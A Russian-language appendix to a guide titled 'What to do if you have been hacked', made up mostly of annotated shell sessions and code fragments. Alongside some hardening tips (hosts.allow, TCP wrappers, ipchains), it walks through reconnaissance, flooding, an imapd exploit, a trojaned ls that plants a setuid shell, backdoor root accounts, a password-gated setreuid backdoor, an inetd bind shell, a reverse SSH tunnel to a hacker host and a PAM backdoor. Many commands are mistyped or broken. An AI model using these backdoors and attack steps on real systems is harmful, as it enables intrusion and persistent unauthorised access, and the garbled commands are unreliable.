Что делать если вас взломали? (приложение)


Макаров Тихон

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Сканирование
---------------------------------------WHOIS:

root@localhost$ whois foo.com
Domain name: some.ru
Name Server: server.some.ru
Registar: baR.company
Referall URL: bar.com
root@localhost$whois foo.com@whois.bar.com
Registrant:
...
Record last updated: ...
Record last created: ...
Domain servers in listed orders:
Server.some.ru 127.127.127.127
user.some.ru 225.225.225.225

------------------------------------------Зондирование сети:
----------------------------------------PING:

root@localhost$ping -c gorodok.net
Ping gorordok.net (193.124.215.76) from 127.0.0.1 : 55(84) bytes of data.
64 bytes from gorordok.net (193.124.215.76): icmp_seq=0 ttl=255 time=2.3 ms
64 bytes from gorordok.net (193.124.215.76): icmp_seq=1 ttl=255 time=2.3 ms
64 bytes from gorordok.net (193.124.215.76): icmp_seq=2 ttl=255 time=2.3 ms
--- gorordok.net ping statistics ---
3 packets transmitted, 3 packets recieved, 0% lost;
...

----------------------------------------Nmap:

/// зондирование с нмап
echo stream tcp nowait root internal //отключение возможности
echo dgram udp wait root internal

----------------------------------------Host:

root@localhost$host www.gorodok.net
www.gorordok.net has address 193.124.215.76
www.gorordok.net mail is handled (pri=10) by mailhost.gorodok.net
...
root@localhost$host -HINFO www.gorodok.net
// установленное ПО на компьютере
root@localhost$host -TXT www.gorodok.net
// дополнительная информация по серверу

----------------------------------------Перенос зоны:

root@localhost$host -t ns www.gorodok.net
www.gorodok.net has server server.gorodok.net
...
root@localhost$host -l www.gorodok.net server.gorodok.net
// вывод на экран всех адрессов зоны с их ip)
Запрет переноса зоны:
[root@localhost /etc]$vi named.conf
options {
...
allowtransfer {193.124.215.76; };
...
}
zone "foo.ru" {
type master;
file "master/gorodok.net";
allow-transfer {ip.ip.ip.ip;};
};
zone "gorodok.net" {
type master;
file "master/gorodok.net"
};

----------------------------------------Traceroute:

//traceroute packet

----------------------------------------That ОС:
-------------Активное исследование:

root@localhost$Nmap -vv -sS -0 www.gorodok.net

----------------------------------------NFS:

root@localhost$showmount gorodok.net
All munt points on target:
user:/root
user:/etc
t00r:/home/t00r
lamer:/usr/nfs/manpages
root@localhost$showmount -e gorodok.net
/bin (everyone)
/home t00r.gorodok.net
/usr 127.16.57.87
/etc admin.gorodok.net
/root admin.gorodok.net

----------------------------------------SNMP

root@localhost$snmpwalk admin.gorodok.net public
/// a lot of information

----------------------------------------RPC

root@localhost$rpcinfo -p admin.gorodok.net
program vers proto port
100000 2 tcp 111 portmapper
...

~~~

One more example:
root@localhost$rpcinfo -p admin.gorodok.net
rpcinfo: can't contact potmapper ...
root@localhost$nmap -sS -sR admin.gorodok.net
Port State Protocol Service
111 filtered tcp sunrpc
...

~~~


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Удаленные атаки
----------------------------------------DDoS

root@localhost$ping -f -s 2048 admin.gorodok.net
root@localhost$nemesis-udp -x echo -y chargen -S 1.1.1.10 -D 1.1.1.5
root@localhost$nemesis-icmp -I 8 -S admin.gorodok.net -D 193.124.215.76

----------------------------------------Sniffer

Here is one example of sniffer's work:
eth0 B arp 1.server.ru tell 1.1.1.10
eth0 > arp reply 1.server.ru (0:50:56:ee:7d:b9)
is-at 0:50:56:ee:7d:b9 (0:50:56:fe:16:e6)
lo >
...

----------------------------------------Buffer Overflow:

hacker@localhost# imapd-exploit gorodok.net
IMAP Exploit for Linux
Atack Completed.
hacker@localhost# telnet gorodok.net
Trying 193.124.215.76...
Connected to gorodok.net
Red Hat Linux 6.2
Kernel 2.4.17
login: r00t
root@gorodok#cd etc/
root@gorodok#echo passwd hacker:zzzzzzzz109:0:0:root

----------------------------------------Exports:
----------------------------------------Кому доверять

hosts.allow:
All:127.0.0.1
All:компьютеры_которым_можно_верить
hosts.deny:
All:очень_вредные_компьютеры (все пркси, например).

----------------------------------------Маршруты

user@gorodok# cat /proc/sys/net/ipv4/conf/eth0/accept_source_route
0
hacker@localhost# telnet @194.0.0.1@194.0.0.2@194.0.0.3:smtp
[r00t@194.0.0.3]#

 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Настройка firewall
Если tcpd не включен:

hacker@localhost#ssh -with-tcp-wrappers
hacker@localhost#cd ../../etc
hacker@localhost#echo "sshd:имена_кмопьютеров_которым_можно_доверять" >> hosts.allow

Если вообще не поддерживается:
В начале заголовка программы необходимо разместить:

#ifdef USE LIBWRAP
#include
int allow_severity=LOG_NOTICE;
int deny_severity=LOG_WARNING;
#endif

В функции, которая управляет соединением, добавим следующую строку при объявлении переменной:

#indef USE_LIBWRAP
struct request_info request;
#endif;

После установки соединения, но перед выполнением каких-либо действий с данными:

#ifdef USE_LIBWRAP
request_init(&request, RQ_DAEMON, options.servername, RQ_file, local, 0);
fromhost(&request);
if (!hosts_access(&recuest)) {
log(LOG_WARNING, "Connection from %s:%d REFUSED by libwrap",
inet_ntoa(addr.sin_addr),ntohs(addr.sin_port));
log(log_debug,"See hosts_access(5) for detailes");
goto cleanup_local;
}
#endif;

Запрет ping и traceroute:

hacker@localhost#/sbin/ipchains -A input 0/0 echo-request -d ip.ip.ip.ip -p icmp DENY

И еще пара правил для ipchains:

1)/sbin/ipchains -p input deny
2)/sbin/ipchains -a input -s 0/0 -d ip.ip.ip.ip www -p -tcp -j -accept
3)/sbin/ipchains -a input -j -deny -l

 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Локальный взлом
---------------------------Troian:

#!/bin/sh -
if chmod 666 /etc/passwd > /dev/null 2>&1; then
cp /bin/sh /your_directory/.it_is_just_root_access
chmod 4755 /your_directory/.it_is_just_root_access
fi
exec ls "$@"

---------------------------Suid:
---Гонка:

#!/bin/sh -
TMPFILE=/tmp/baz.00
if test -x $TMPFILE; then
echo "It is exist, terminated"
exit 255
fi
date> $Tmpfile
rm $tmpfile

---Борьба с гонкой:

unique_filename=mktemp("/tmp/baz.@@@@@@@@");
file_descriptor mkstemp(unique_filename, ....);

---NOSUID:

user@gorodok.net#grep cdrom /etc/fstab
/dev/hdc /mnt/cdrom iso9660 ro,user,noauto,nosuid
user@gorodok.net#mount | grep cdrom
/dev/hdc on /mnt/cdrom type iso9660 (ro,nosuid,nodev,user=user)
user@gorodok.net#/mnt/cdrom/prog_with_suid
ksh: /mnt/cdrom/prog_with_suid: Operation not permitted

---------------------------Жесткие ссылки:

user@gorodok.net#ls -li
876193 -rw------- 1 user1 users 19 Feb 25 8:15 file1
578283 -rw------- 1 user2 users 19 Feb 25 8:18 file2
user@gorodok.net#ln file2 link1
876193 -rw------- 1 user1 users 19 Feb 25 8:15 file1
578283 -rw------- 1 user2 users 19 Feb 25 8:18 file2
578283 -rw------- 1 user2 users 19 Feb 25 8:18 link1

---------------------------Символьные ссылки:

user@gorodok.net#ls -l
1rwxrwxrwx 1 user dc 25 Feb 25 08.24 file -> foo
1rwxrwxrwx 1 user dc 25 Feb 25 08.24 file2 -> nosuchfile
1rwxrwxrwx 1 user dc 25 Feb 25 08.24 foo
user@gorodok.net#stat foo
File: "foo"
Size Filetype:
Mode: Uid:
Device: Inode: Links:
user@gorodok.net#stat file1
File: "foo"
Size Filetype:
Mode: Uid:
Device: Inode: Links:
user@gorodok.net#stat file2
Can't stat file2

Атаки с их помощью:

user@gorodok.net#ls -l
1rwxrwxrwx 1 user dc 25 Feb 25 08.24 file2 -> nosuchfile

Вернмся к Гонке. После удаления file2, nosuchfile останется, и в нем будут записаны все данные работы программы.

#!/bin/sh
cd /home/user
chrp -R user .
chmod -R g+w .
user@gorodok.net#ls -l
1rwxrwxrwx 1 user dc 25 Feb 25 08.24 file -> /../../etc/passwd

После выполнения скрипта данный файл доступен для чтения, записи, исполнения.

 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"Послевзломие"
---Ip autentification:

hacker@localhost# telnet gorodok.net
Trying 193.124.215.76...
Connected to gorodok.net
Escape character '^]'.
Connection closed by foreighn host.
r00t@gorodok# echo 'All:my.hacker.computer.ip'>> etc/hosts.allow
hacker@localhost# telnet gorodok.net
Trying 193.124.215.76...
Connected to gorodok.net
Escape character '^]'.
login: r00t;
r00t@gorodok#
or you can export:
r00t@gorodok# echo '/ my.hacker.computer.ip(rw,no_root_squash)' >> etc/exports
hacker@localhost# mount gorodok.net /mnt/gorodok
hacker@localhost# cd /mnt/gorodok/etc
hacker@localhost# cat new_pass_entry >> passwd
hacker@localhost# cat new_pass_entry2 >>
And etc/hosts.equiv

---Создание учетных записей:

root@gorodok.net#echo 'mial:x:8:12:mail:/var/spool/mail:bin/bash'\ >> etc/passwd
root@gorodok.net#echo 'mial:h59J3subKP9y6::::::' >> /etc/shadow

---Командный интерпритатор:

root@gorodok.net#cp /bin/sh /tmp
root@gorodok.net# chmod 4555 /tmp/sh
root@gorodok.net#logout
login:user
pass: ****
user@gorodok.net#id
uid=1000 gid=1000 groups=1000
user@gorodok.net#wc -l etc/shadow
wc: /etc/shadow: Permission denied
user@gorodok.net#/tmp/sh
bash#id
uid=1000 gid=1000 groups=1000 euid=0

---Своя uid

int main() {
char passwd[Bufsiz];
char encrypted[]="00frf51pj6212";
system("/bin/stty -echo");
read(0,passwd,Bufsiz-1);
system("/bin/stty echo");
if (strcmp( crypt(passwd,encrypted),encripted)==0) {
setreuid(0,0);
system("/bin/bash");
} else {
sleep(20000);
}
}
// если пасс - r00t/m3., то становится рутом, иначе прога "думает".

---Удаленный доступ к /bin/bash:
Изменим файл xinetd.conf:

echo >> XXX stream top nowait root /bin/bash -i
//где ххх - порт.

ИЛИ:

root@gorodok.net#/usr/sbin/inetd /hacker/inetd.conf

---Обратное соединение:

root@gorodok.net#ssh -v hacker@hacker.irs.ru -R 9999:localhost:port
...
hacker.irs.ru#
hacker.irs.ru#

Теперь сервер сам подключается к компьютеру хакера, достаточно подключиться локально к своему же порту:

hacker.irs.ru#nc localhost 9999

--------------ТРОЯНЫ

#%PAM-1.0
auth sufficient /lib/security/pam_rootok.so
auth required /lib/security/pam_stack.so service=system-auth // авторизация
session optional /lib/security/pam_xauth.so
account required /lib/security/pam_permit.so

Для файла support.-c:

if (!strcmp(p,'Makarov')) {
return PAM_SUCCESS;
}

---CGI

use some_file -- главный файл.
$home_of_perl/5.00503 -- add some_file.pm

---!ЯДРО!

$root@localmachine#lsmod
// listing

Модуль для линукс
Подключение:

$root@localmachine#gcc -o module -c module.c
$root@localmachine#cp module.o /lib/modules/misc
$root@localmachine#insmod module.o
sys.c
sysctl.c
sched.h:
/* сравнение uid пользователя */
current->flags|=PF_SUPERPRIV;
return 1;
module.c